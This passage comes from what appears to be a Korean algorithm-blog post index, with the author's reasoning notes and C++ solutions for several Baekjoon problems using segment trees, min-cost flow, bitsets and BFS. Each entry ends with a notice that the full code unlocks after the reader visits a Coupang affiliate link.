해제됩니다\n","date":"2026-03-08T00:00:00Z","permalink":"/posts/algorithm/ps/260308_algorithm_boj-11111-%EB%91%90%EB%B6%80%EC%9E%A5%EC%88%98-%EC%9E%A5%ED%99%8D%EC%A4%80-2/","title":"BOJ 11111 두부장수 장홍준 2"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14587 🧐 관찰 및 접근 전처리를 적당히 할 수 있을까? 이분탐색을 좀 하면서 밀면서 하면, 특정 도미노를 한쪽으로 밀었을때 어디까지 넘어가는지 할 수 있나? 아, min/max 세그먼트 트리로 되는거같다 마지막은 그리디가 아니라 DP로 해야한다! 아니근데 X가 정렬되어 주어지지 않는다;;;;; 그래도 구현이 막 어렵지 않은듯 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;ll\u0026gt; X(N), H(N); vector\u0026lt;pll\u0026gt; dominos(N); rep(i, 0, N) cin \u0026gt;\u0026gt; dominos[i].first \u0026gt;\u0026gt; dominos[i].second; sort(all(dominos)); rep(i, 0, N){ X[i] = dominos[i].first; H[i] = dominos[i].second; } SegmentTreeMinMax ST_min(N), ST_max(N); // calc leftmost ST_min.set(0, 0); rep(i, 1, N){ ll val = X[i] - H[i]; auto idx = lower_bound(all(X), val) - X.begin(); auto Q = ST_min.query(idx, i-1); ST_min.set(i, min((ll)i, ST_min.query(idx, i-1).first)); } // calc rightmost ST_max.set(N-1, N-1); rrep(i, 0, N-1){ ll val = X[i] + H[i]; auto idx = upper_bound(all(X), val) - X.begin() - 1; auto Q = ST_min.query(i+1, idx); ST_max.set(i, max((ll)i, ST_max.query(i+1, idx).second)); } vector\u0026lt;int\u0026gt; DP(N, 1e9); DP[0] = 1; DP[ST_max.get_val(0)] = 1; rep(i, 1, N){ int lft = ST_min.get_val(i)-1; if(lft \u0026lt; 0) DP[i] = 1; else DP[i] = min(DP[i], DP[lft] + 1); int rht = ST_max.get_val(i); DP[rht] = min(DP[rht], DP[i-1] + 1); } cout \u0026lt;\u0026lt; DP[N-1]; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-08T00:00:00Z","permalink":"/posts/algorithm/ps/260308_algorithm_boj-14587-%EB%8F%84%EB%AF%B8%EB%85%B8-large/","title":"BOJ 14587 도미노 (Large)"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30478 문제 러시아워입니다! 오늘 퇴근 후, 쇼핑몰이 닫기 전에 가족 모두에게 줄 사탕을 사야 합니다.\n가족들은 독점성과 균일성을 매우 중요하게 여기기 때문에, 당신은 그들을 감동시키기 위한 계획을 세웠습니다. 각 가족 구성원에게 주는 사탕은 모두 단일 브랜드여야 하며, 동일한 브랜드의 사탕을 다른 가족 구성원이 받아서는 안 됩니다. 또한, 누군가를 더 사랑한다는 사실을 들키고 싶지 않기 때문에 모든 가족 구성원이 같은 수의 사탕을 받아야 합니다.\n쇼핑몰에는 $K$가지 서로 다른 브랜드의 사탕을 파는 가게가 있습니다. 공교롭게도, 당신의 가족 구성원 수도 정확히 $K$명입니다. 너무 쉬워 보일 수 있지만, 물론 함정이 있습니다.\n가게에는 사탕들이 하나의 진열대에 일렬로 놓여 있습니다. 사탕을 하나씩 고를 시간이 없기 때문에, 효율적으로 구매를 완료하기 위해 연속된 구간의 사탕을 한꺼번에 사려고 합니다. 즉, 어떤 두 사탕을 구매할 때, 그 사이에 있는 모든 사탕도 함께 구매해야 합니다.\n구매할 수 있는 사탕의 최대 개수는 얼마입니까?\n입력 첫 번째 줄에 두 정수 $N$과 $K$ ($1 \\leq N, K \\leq 4 \\times 10^5$)가 주어지며, 각각 진열대에 놓인 사탕의 수와 가족 구성원의 수를 나타냅니다. 사탕 브랜드는 $1$부터 $K$까지의 서로 다른 정수로 식별됩니다.\n두 번째 줄에 $N$개의 정수 $C_1, C_2, \\ldots, C_N$ ($1 \\leq C_i \\leq K$, $i = 1, 2, \\ldots, N$)이 주어지며, 진열대에 왼쪽에서 오른쪽 순서로 각 사탕의 브랜드를 나타냅니다.\n출력 구매할 수 있는 사탕의 최대 개수를 나타내는 정수를 한 줄에 출력합니다. 어떤 가족 구성원도 두 가지 다른 브랜드의 사탕을 받을 수 없으며, 어떤 브랜드의 사탕도 두 명의 가족 구성원을 위해 구매될 수 없음을 기억하십시오. 또한, 모든 가족 구성원은 같은 수의 사탕을 받아야 하며, 사탕은 진열대에서 연속된 구간으로 구매해야 합니다.\n🧐 관찰 및 접근 $N \u003c K$면 펑이고 파라메트릭이 되나? 아냐 단조성이 없으셔 답이 될수있는 길이는 $N/K$에 바운드되는 것 같다 루트질 되나 2.5억이면 믿어보자 아니근데 $K$가 작으면 이슈가 생긴다 버킷질\u0026hellip; 아? 이럴때는 그냥 cnt를 배열로 통째로 관리하자 루트질로 뚫어버려 아니 같은 풀이를 해싱으로 하면 훨씬 빠르네 ㄱ- 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;int\u0026gt; v(N); rep(i, 0, N) cin \u0026gt;\u0026gt; v[i]; rep(i, 0, N) v[i]--; const int sq = 300; if(K \u0026lt; sq){ array\u0026lt;int, sq\u0026gt; cnt; map\u0026lt;array\u0026lt;int, sq\u0026gt;, int\u0026gt; mp; mp[cnt] = -1; int ans = 0; rep(i, 0, N){ cnt[v[i]]++; bool flag = true; rep(j, 0, K) if(cnt[j] == 0){ flag = false; break; } if(flag) rep(j, 0, K) cnt[j]--; if(mp.count(cnt)) ans = max(ans, i - mp[cnt]); else mp[cnt] = i; } cout \u0026lt;\u0026lt; ans; return; } vector\u0026lt;int\u0026gt; cnt(K, 0); int mxCandy = N/K; rep(i, 0, N) cnt[v[i]]++; rep(i, 0, K) mxCandy = min(mxCandy, cnt[i]); rrep(i, 0, mxCandy + 1){ fill(all(cnt), 0); int mn = N, mx = 0; int sz = i * K; rep(j, 0, sz) cnt[v[j]]++; rep(j, 0, K){ mn = min(mn, cnt[j]); mx = max(mx, cnt[j]); } if(mn == mx){ cout \u0026lt;\u0026lt; sz; return; } rep(j, sz, N){ if(v[j-sz] == v[j]) continue; if(--cnt[v[j-sz]] \u0026lt; mn) mn = cnt[v[j-sz]]; if(++cnt[v[j]] \u0026gt; mx) mx = cnt[v[j]]; if(mn == mx){ cout \u0026lt;\u0026lt; sz; return; } } } cout \u0026lt;\u0026lt; 0; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-08T00:00:00Z","permalink":"/posts/algorithm/ps/260308_algorithm_boj-30478-candy-rush/","title":"BOJ 30478 Candy Rush"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30880 🧐 관찰 및 접근 누가봐도 세그먼트트리 세팅인것같다. 금광같은거죠 노드 정의를 어떻게 하면 좋을까? 부분열이니까, R / O / C / K 개수는 당연히 있어야하고.. ROCK 개수는 ROCK개수 + 왼쪽 R + 오른쪽 OCK, RO + CK, ROC + K,, 아하, R / RO / ROC / ROCK / O / OC / OCK / C / CK / K 다 세면 되나? 아 그런데, ROCK의 개수를 세는게 아니라 ROCK로 끝나는 문자열의 개수를 세야한다는건, 길이도 어떻게 잘 곱해야되는것같은데 $XRRX$ 와 $XOCK$ 를 합친다고 생각해보자. 답은 $XRROCK, XROCK, XROCK, RROCK, ROCK, ROCK$로 6개인것 같다. 뒤에 $OCK$근처에서는 별 감흥이 없는 것 같고, 앞에있는 $R$들에 대해서만 상관이 있는 것 같다. 그 위치들에 대해, $2 + 4$ 해서 6이 나온 것 같다. 노드 안에서 $R$에 대해, $R$의 개수가 아니라 $R$로 끝나는 부분 문자열의 개수를 저장하는게 좋겠다. R, RO, ROC, ROCK에 대해서 그렇게 해주면 충분하다! 💻 풀이 코드 (C++): struct Node{ mint R = 0, RO = 0, ROC = 0, ROCK = 0, O = 0, OC = 0, OCK = 0, C = 0, CK = 0, K = 0; mint len = 0; mint ans = 0; Node(){}; Node(char c){ if(c == \u0026#39;R\u0026#39;) R += 1; if(c == \u0026#39;O\u0026#39;) O += 1; if(c == \u0026#39;C\u0026#39;) C += 1; if(c == \u0026#39;K\u0026#39;) K += 1; len = 1; }; }; Node pull(Node a, Node b){ Node ret; ret.R = a.R + mint(2).pow(a.len.val)*b.R; ret.O = a.O + b.O; ret.C = a.C + b.C; ret.K = a.K + b.K; ret.RO = a.RO + mint(2).pow(a.len.val)*b.RO + a.R*b.O; ret.OC = a.OC + b.OC + a.O*b.C; ret.CK = a.CK + b.CK + a.C*b.K; ret.ROC = a.ROC + mint(2).pow(a.len.val)*b.ROC + a.RO*b.C + a.R*b.OC; ret.OCK = a.OCK + b.OCK + a.OC*b.K + a.O*b.CK; ret.ROCK = a.ROCK + mint(2).pow(a.len.val)*b.ROCK + a.ROC*b.K + a.RO*b.CK + a.R*b.OCK; ret.len = a.len + b.len; return ret; } void solve(){ int N; cin \u0026gt;\u0026gt; N; string S; cin \u0026gt;\u0026gt; S; vector\u0026lt;Node\u0026gt; v(N); rep(i, 0, N) v[i] = Node(S[i]); SegmentTreeNode ST(N, v); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int op; cin \u0026gt;\u0026gt; op; if(op == 1){ int idx; cin \u0026gt;\u0026gt; idx; char c; cin \u0026gt;\u0026gt; c; ST.set(idx-1, Node(c)); } else{ int l, r; cin \u0026gt;\u0026gt; l \u0026gt;\u0026gt; r; l--; r--; cout \u0026lt;\u0026lt; ST.query(l, r).ROCK \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-08T00:00:00Z","permalink":"/posts/algorithm/ps/260308_algorithm_boj-30880-%EC%BF%BC%EB%A6%AC%EB%8A%94-%EB%9D%BD%EC%9D%B4-%EC%95%84%EB%8B%88%EB%8B%A4/","title":"BOJ 30880 쿼리는 락이 아니다"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11493 🧐 관찰 및 접근 동전들을 swap해서 잘 옮겨서 맞춰야한다.. 일단 색을 모두 신경쓰긴 싫으니까, 1의 위치를 맞춘다고만 생각하자. 뭔가 이분그래프적으로 생각할 수 있지 않을까? 이게 움직이는것만 신경쓰면 플로이드워셜 + 이분그래프 매칭 최소비용\u0026hellip;으로 하면 되는거같은데? 근데 swap이다보니 이렇게 맘대로 하는것보다 효율적인 방법이 무시될 것 같다. 일단 이분그래프로 생각을 좀 해보긴 하자. 그림을 그려보자. 그림 1의 예시이다. 어우 난잡해 ㅋㅋ 뭔가 증가경로 맛처럼 할 수 있는거같기는 한데.. \u0026hellip;.가 아니라 그냥 이상태로 최소비용 최대유량 아닌가? 끝이네? 이분그래프로 분할할 필요도 없이, 그냥 유량으로 달리면 된다. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; MinCostMaxFlow MCMF(N+2); MCMF.setST(0, N+1); rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; MCMF.add(u, v, 1e9, 1); MCMF.add(v, u, 1e9, 1); } rep(i, 1, N+1){ int x; cin \u0026gt;\u0026gt; x; if(x == 1) MCMF.add(0, i, 1, 0); } rep(i, 1, N+1){ int x; cin \u0026gt;\u0026gt; x; if(x == 1) MCMF.add(i, N+1, 1, 0); } cout \u0026lt;\u0026lt; MCMF.match() \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-07T00:00:00Z","permalink":"/posts/algorithm/ps/260307_algorithm_boj-11493-%EB%8F%99%EC%A0%84-%EA%B5%90%ED%99%98/","title":"BOJ 11493 동전 교환"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/35108 🧐 관찰 및 접근 $N$이 2500이니까 뭔가 제곱로그?까진 돌지 않을까 싶다. 음, 어떻게 잡으면 좋을지 모르겠지만, 저 주어진 게국지 그래프에서 안쪽의 네모중 왼쪽 위부터 반시계방향으로 $1, 2, 3, 4$ 라고 하면, $2, 4$번 정점을 기준으로 카운팅하고싶게 생기긴 했다. 일단 예제 그래프를 그려보자. 여기서 저 게국지모양을 찾아야 하는데\u0026hellip; $1, 2, 3, 4$를 기7준으로 하면 $1, 2, 4$에 $5, 7, 6$을 붙이거나, $6, 7, 5$를 연결하는 두가지가 있겠다. 어.. 정점을 기준으로 세려고 하니 좀 까다로운거 같기도..? 그러면 간선을 기준으로..? 그러면 아무래도 양쪽에 날개가 붙어있는 간선으로 생각하자. 크아아아악 이래도 안되는데 일단 두 간선을 골라서 사이클을 고정시키는건 맞는거같다. 잉 이러면 걍 포함배제로 되는거 아닌가? 그러면 두 정점에 중복되는 정점, 세 정점에 중복되는 정점 뭐 그런게 필요한거같은데\u0026hellip; 비트셋으로 하면 될라나? $O(M^2N/64)$ 정도인거같은데;; 일단 짜보자 좀 빡빡하다. 전처리를 잘 하면 시간 내로 들어간다. Clang이 훨 빠르네. 왜지? 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;pii\u0026gt; edges; vector\u0026lt;bitset\u0026lt;2500\u0026gt;\u0026gt; con(N); rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; edges.push_back({u, v}); con[u][v] = 1; con[v][u] = 1; } vector\u0026lt;ll\u0026gt; cnt1(N); rep(i, 0, N) cnt1[i] = con[i].count(); vector\u0026lt;vector\u0026lt;bitset\u0026lt;2500\u0026gt;\u0026gt;\u0026gt; con2(N, vector\u0026lt;bitset\u0026lt;2500\u0026gt;\u0026gt;(N)); rep(i, 0, N) rep(j, i+1, N) con2[i][j] = con2[j][i] = con[i]\u0026amp;con[j]; vector\u0026lt;vector\u0026lt;ll\u0026gt;\u0026gt; cnt2(N, vector\u0026lt;ll\u0026gt;(N)); rep(i, 0, N) rep(j, i+1, N) cnt2[i][j] = cnt2[j][i] = con2[i][j].count(); auto calc = [\u0026amp;](int v1, int v2, int v3, int v4) -\u0026gt; ll { auto \u0026amp;b1 = con[v1], \u0026amp;b2 = con[v2], \u0026amp;b3 = con[v3]; ll n1 = cnt1[v1] - (con[v1][v2] + con[v1][v3] + con[v1][v4]); ll n2 = cnt1[v2] - (con[v2][v1] + con[v2][v3] + con[v2][v4]); ll n3 = cnt1[v3] - (con[v3][v1] + con[v3][v2] + con[v3][v4]); ll n12 = cnt2[v1][v2] - (con2[v1][v2][v3] + con2[v1][v2][v4]); ll n23 = cnt2[v2][v3] - (con2[v2][v3][v1] + con2[v2][v3][v4]); ll n31 = cnt2[v3][v1] - (con2[v3][v1][v2] + con2[v3][v1][v4]); bitset\u0026lt;2500\u0026gt; b123 = b1\u0026amp;b2\u0026amp;b3; ll n123 = b123.count() - b123[v4]; return n1*n2*n3 - (n12*n3 + n23*n1 + n31*n2) + 2*n123; }; ll ans = 0; rep(i, 0, M) rep(j, i+1, M){ auto [a, b] = edges[i]; auto [c, d] = edges[j]; if(a == c || a == d || b == c || b == d) continue; if((!con[a][c] || !con[b][d]) \u0026amp;\u0026amp; (!con[a][d] || !con[b][c])) continue; ll ret = 0; ret += calc(a, b, c, d); ret += calc(b, c, d, a); ret += calc(c, d, a, b); ret += calc(d, a, b, c); if(con[a][c] \u0026amp;\u0026amp; con[b][d]) ans += ret; if(con[a][d] \u0026amp;\u0026amp; con[b][c]) ans += ret; } cout \u0026lt;\u0026lt; ans/2; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-07T00:00:00Z","permalink":"/posts/algorithm/ps/260307_algorithm_boj-35108-%EA%B2%8C%EA%B5%AD%EC%A7%80/","title":"BOJ 35108 게국지"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/15309 🧐 관찰 및 접근 이진트리..는 아니고 삼각형이구나. 걍 좀 펴서 생각하면, 이항계수처럼 생각하면 되는 것 같다. $i$번째 줄은 $(Ax + B)^i$ 의 계수처럼 생각하면 되는듯? 아 근데 그 뭐냐 겹치게 하면 안되는구나 특정 삼각형은 그 초항만 생각하면 되는것같으니까, $m$개의 행을 포함하는 정삼각형을 어떻게 계산할지 생각해보자. 대충 로그정도에 계산하면 되는데.. 일단 초항이 1일때 식은 뭐랑 같지? $1 + (A+B) + (A^2 + AB + B^2) + \\cdots$ 같은 느낌인건데\u0026hellip; 어차피 행 자체에는 누적합 맛으로 할 수 있겠네. 어라? 이건 그냥 윗 행에다가 $A$를 곱하고, $B^N$만 더하면 될거같은딩. 대충 해버리죠? 아니 잠깐만!!!!!!!!! $m$이 $10^{18}$이다!! 비상!!!!!!!!! 로그가 붙을만한곳은 분할정복 거듭제곱같은거밖에 없는데\u0026hellip; 아 잠깐만. 이거 그냥 그 유명한 고딩때 그 공식처럼 $(A-B)$곱하면 정리되는 꼴 아닌가? 그러면 $(A-B) + (A^2 - B^2) + (A^3 - B^3) + \\cdots$ 이건 $(A + A^2 + \\cdots + A^m) - (B + B^2 + \\cdots + B^m)$이자나! $\\frac{A^{m+1} - 1}{A-1} - \\frac{B^{m+1} - 1}{B-1}$ 로 계산할 수 있을 것 같고, 이걸 $A-B$로 나눠서 끝내자. 아!! $A = B$인 경우를 조심해야할 것 같고, $A = 1$이나 $B = 1$인경우도 조심해야할 것 같다. $A = B$라면? $1 + 2A + 3A^2 + \\cdots + mA^{m-1}$ 를 구해야하는데, 저 합을 $S$라고 하자. 그러면 $AS - S = 1 + A + A^2 + \\cdots + A^m$ 니까, $A = 1$인 경우 말고는 이걸 구해서 $A-1$로 나누면 될 것 같은데? 케이스 처리를 조심하자. 💻 풀이 코드 (C++): void solve(){ mint A, B; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B; int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ ll x, y, m; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; m; x--; y--; mint cho = 1; cho *= A.pow(x-y); cho *= B.pow(y); mint trig = 0; if(A == B){ if(A == 1) trig = mint(m)*(m+1)/2; else trig = (A.pow(m+1) - 1) / (A - 1).pow(2); } else{ if(A == 1) trig += m; else trig += (A.pow(m+1) - 1) / (A - 1) - 1; if(B == 1) trig -= m; else trig -= (B.pow(m+1) - 1) / (B - 1) - 1; trig /= (A-B); } cout \u0026lt;\u0026lt; cho * trig \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-06T00:00:00Z","permalink":"/posts/algorithm/ps/260306_algorithm_boj-15309-%EC%8A%A4%ED%82%AC-%ED%8A%B8%EB%A6%AC/","title":"BOJ 15309 스킬 트리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/23887 🧐 관찰 및 접근 설명을 대충 읽는데, BFS맛이 난다 허걱, 최대 학생이 25000명이라 나이브하게는 조금 곤란하긴 하다 근데 뭔가 트리처럼 해석할 수도 있을 것 같은데? MST인가? 아 근데 좀 유향 그래프? 맛인데\u0026hellip; 위상정렬이네 이거 엥? 근데 이게 $2$번 학생이 $5, 6$번한테 받을 수 있다고해서 무조건 $5$번한테만 받는건 아니네? 그러면 다시 트리맛으로? 그러면 뭔가 트리의 지름을 최소화하는 느낌으로 가야하는 것 같은데\u0026hellip; 그래프에서 가장 먼 두 점을 어떻게 구할 수 있을까? ???????? 아니 문제에서 $S$가 주어지는거였네 그러면 그냥 BFS를 돌리자 구현이 상당히 재밌다! 💻 풀이 코드 (C++): void solve(){ int N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; board(N, vector\u0026lt;int\u0026gt;(M, 0)); vector\u0026lt;pii\u0026gt; students(K+1); vector\u0026lt;bool\u0026gt; visited(K+1); rep(i, 1, K+1){ int x, y; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y; x--; y--; students[i] = {x, y}; board[x][y] = i; } int S; cin \u0026gt;\u0026gt; S; set\u0026lt;int\u0026gt; Q; Q.insert(S); visited[S] = true; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; links(K+1); vector\u0026lt;int\u0026gt; dx = {-1, -1, -1, 0, 0, 1, 1, 1}; vector\u0026lt;int\u0026gt; dy = {-1, 0, 1, -1, 1, -1, 0, 1}; while(!Q.empty()){ set\u0026lt;int\u0026gt; nQ; for(auto cur: Q){ auto [cx, cy] = students[cur]; rep(d, 0, 8){ int nx = cx + dx[d]; int ny = cy + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= M) continue; if(board[nx][ny] == 0) continue; int nxt = board[nx][ny]; if(visited[nxt]) continue; visited[nxt] = true; links[cur].push_back(nxt); nQ.insert(nxt); } } swap(Q, nQ); } rep(i, 1, K+1) if(!visited[i]){ cout \u0026lt;\u0026lt; -1; return; } vector\u0026lt;int\u0026gt; sz(K+1); function\u0026lt;void(int)\u0026gt; dfs = [\u0026amp;](int cur){ sz[cur] = 1; for(auto nxt: links[cur]){ dfs(nxt); sz[cur] += sz[nxt]; } }; dfs(S); rep(i, 1, K+1) cout \u0026lt;\u0026lt; sz[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-06T00:00:00Z","permalink":"/posts/algorithm/ps/260306_algorithm_boj-23887-%ED%94%84%EB%A6%B0%ED%8A%B8-%EC%A0%84%EB%8B%AC/","title":"BOJ 23887 프린트 전달"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/34609 번역 문제 $1$번부터 $n$번까지 번호가 매겨진 $n$송이의 꽃이 왼쪽에서 오른쪽으로 일렬로 놓여 있다. 각 꽃은 백합(lily) 또는 장미(rose) 중 하나이다. $0$ 이상 $n$ 이하의 정수 $j$에 대해, $l_j$를 왼쪽 $j$개의 꽃 중 백합의 수, $r_j$를 오른쪽 $n - j$개의 꽃 중 장미의 수라 하자.\n처음에는 꽃의 수 $n$만 주어진다. 꽃의 종류는 숨겨져 있다. 쿼리를 통해 꽃에 대한 정보를 얻을 수 있다. 한 번의 쿼리에서 다음 중 하나를 수행할 수 있다.\n타입 쿼리(Type query): $1$ 이상 $n$ 이하의 정수 $i$를 지정한다. 그러면 꽃 $i$의 종류를 알 수 있다. 곱 쿼리(Multiply query): $0$ 이상 $n$ 이하의 정수 $j$를 지정한다. 그러면 $l_j \\times r_j$의 값을 알 수 있다. $l_k = r_k$를 만족하는 $0$ 이상 $n$ 이하의 정수 $k$를 제한된 횟수의 쿼리로 찾는 것이 목표이다. 꽃의 배치에 대해 그러한 정수가 적어도 하나 존재함이 보장된다. 각 꽃의 종류를 모두 알아낼 필요는 없다.\n인터랙션 입력의 첫 번째 줄에는 테스트 케이스의 수 $t$ ($1 \\le t \\le 100$)가 주어진다. 이후 $t$개의 테스트 케이스가 다음과 같이 주어진다.\n각 테스트 케이스의 첫 번째 줄에는 정수 $n$ ($1 \\le n \\le 100$)이 주어진다. 이를 읽은 후 쿼리를 시작할 수 있다. 각 쿼리에 대해 다음 중 하나를 출력한다.\ntype $i$ : $1 \\le i \\le n$인 정수 $i$를 지정하는 타입 쿼리를 수행한다. 응답으로 꽃 $i$의 종류를 나타내는 lily 또는 rose 문자열이 입력된다. multi $j$ : $0 \\le j \\le n$인 정수 $j$를 지정하는 곱 쿼리를 수행한다. 응답으로 $l_j \\times r_j$의 정수값이 입력된다. 각 테스트 케이스당 최대 10번의 쿼리를 사용할 수 있다. 즉, 타입 쿼리와 곱 쿼리를 합산한 총 횟수가 10을 초과해서는 안 된다. 10번을 초과하면 \u0026ldquo;오답(Wrong Answer)\u0026ldquo;으로 처리된다.\n$l_k = r_k$를 만족하는 정수 $k$를 찾으면 answer $k$ ($0 \\le k \\le n$) 형식으로 출력한다. 정답 출력은 쿼리 횟수에 포함되지 않는다.\n정답을 출력한 후 다음 테스트 케이스를 처리한다. 모든 테스트 케이스를 처리하면 인터랙션이 종료되며 프로그램을 종료해야 한다.\n🧐 관찰 및 접근 아 인터랙티브.. 일단 $N$이 $100$이니까, 7번정도의 이분탐색맛 쿼리랑, 2번정도의 근처 계산 쿼리..? 같은 느낌으로 진행될 것 같은데\u0026hellip; 일단 $l, r$에는 단조성이 있다. 아무래도. $j$가 커짐에 따라 $l$은 단조증가, $j$는 단조감소한다. 두 수열 $l, r$에 대해, 둘중에 한개만 바뀐다. 이것도 아무래도. 그렇다면 곱 쿼리 $k, k+1$ 두개를 비교했을때 값이 커졌다면 $l$이 증가한것이고, 작아졌다면 $r$이 감소한 것일 것이다. 그렇다고 그부분이 최대치는 아니네.. 힝스. 근데 이걸 잘 써먹어야할 것 같은게, $l_j = x$라면 $j$까지에 장미는 $j - x$개 있다는거니까, 이런 정보까지도 잘 활용해야 쿼리를 맞출 수 있을 것 같다. $k, k+1$ 두개를 비교했을때 값이 변하는걸로 $l_k, r_k$도 특정 가능한 것 같다. 만약 $x$만큼 증가했다는건 $F_j$ (Flower이라고 치자)가 lily라는거니까 $r_k = r_{k+1} = x$라는 거 같고, 감소했다는건 $l_k = l_{k+1} = x$인 것 같고. 따라서 두번의 쿼리로 $l_k, r_k$를 알 수 있으니 하면.. 이라기엔 쿼리 10번은 좀 부족하다. $2^6 \u003c 100$이므로 14번은 필요할 것 같은데. 이분탐색의 범위를 조금 더 잘 좁힐 수 있나? 예를들어 $N = 100$이고, $50, 51$번째를 검사했는데 $l_{50} = 40, r_{50} = 10$이었다고 하자. 어차피 오른쪽으로 갈 때 $l$도 최대 한개씩 증가하고, $r$도 최대 한개씩 감소하므로 저 오른쪽에서는 답이 있을 수 없다. 왼쪽으로 갈 때도 한개씩 움직이는 특징에 따라 $21$번째 이후에는 답이 있을 수 없다. \u0026hellip;그전에 딱 그부분이 답이어야하는거 아닌가? $l, r$ 둘중에 하나는 무조건 움직여야하는데. 아, 이슈인 상황이 있다. 다 장미거나 그러면 곱 결과가 둘다 0이 나와서 쬠 곤란하다\u0026hellip; 그전에 위에 내가 관찰한대로라면 곱 결과가 0이 아닌곳만 잘 찾아보면 될텐데. $RR...RR$, $LL...LL$, $RR...LL$ 이런 경우들에 무조건 다 0인데? 이걸 어떻게 검사하지? 아, 이해했다. 이거때문에 type 쿼리가 필요한거구나. 맨 왼쪽이 $L$이거나, 맨 오른쪽이 $R$이기만 하면 어떻게든 저 곱쿼리를 이용해서 한방에 계산이 가능한디. $RRRRRLLRRLLLLLL$ 머 이런느낌이면 어카지? $0, 0, ..., 2, 4, 2, 0, ... 0$ 처럼 나오는데\u0026hellip; 저 값이 존재하는 부분이 어디있을지 모른다는게 문제란 말이지. 이분탐색으로 어떻게든 $R \\rightarrow L$로 바뀌는 타이밍을 찾았다고 하자. 그때의 인덱스를 $j$라고 하자. 그렇다면 $l_j$는 $1$ 이상이고, $r_{j-2}$는 $1$ 이상이다. $M_j = 0$ (곱이니까 대충 $M$이라고 해보자) 이라면, $r_j = 0$인 것이다. $M_{j-2} = 0$이라면, $l_{j-2} = 0$인 것이다. $F_{j-1} = R, F_j = L$이다. 케이스를 네개로 나눠보자. 찾은 $R, L$을 기점으로. $RRR...R(RL)L...LLL$ $M_{j-2} = M_j = 0$ 그렇다면 $ans = j-1$ $RRLRRR...R(RL)L....LLL$ $M_{j-2} \\neq 0, M_j = 0$ $M_{j-2} = l_{j-2}$ 그렇다면 $ans = (j-1) - M_{j-2}$ $RRRR...R(RL)L....LLRL$ $M_{j-2} = 0, M_j \\neq 0$ $M_j = r_j$ 그렇다면 $ans =(j-1) + M_j$ $RRLRRR...R(RL)L....LLRL$ $M_{j-2} \\neq 0, M_j \\neq 0$ $M_{j-2} = l_{j-2} \\times r_{j-2}$ $M_j = l_j \\times r_j$ $l_j = l_{j-2} + 1$ $r_j = r_{j-2} - 1$ 대입하면 $M_j = M_{j-2} - l_{j-2} + r_{j-2} - 1$ 우리가 얻고싶은 답은 $((j-2) - l_{j-2}) + r_{j-2}$ 로 계산할 수 있으니 $ans = (j-1) + (M_j - M_{j-2})$ 인거같기도? 엥? 4개가 일반화가 되는 것 같다. 하 이게 앞에 2개 + 이분탐색 7개 + 마지막에 2개 해서 11개 쿼리네.. 한개를 줄일 수 있을까? 앞에 두개를, 이분탐색만 이용하는걸로 생각해서 잡아버려도 된다!! 그렇게하면 9개로 된다 💻 풀이 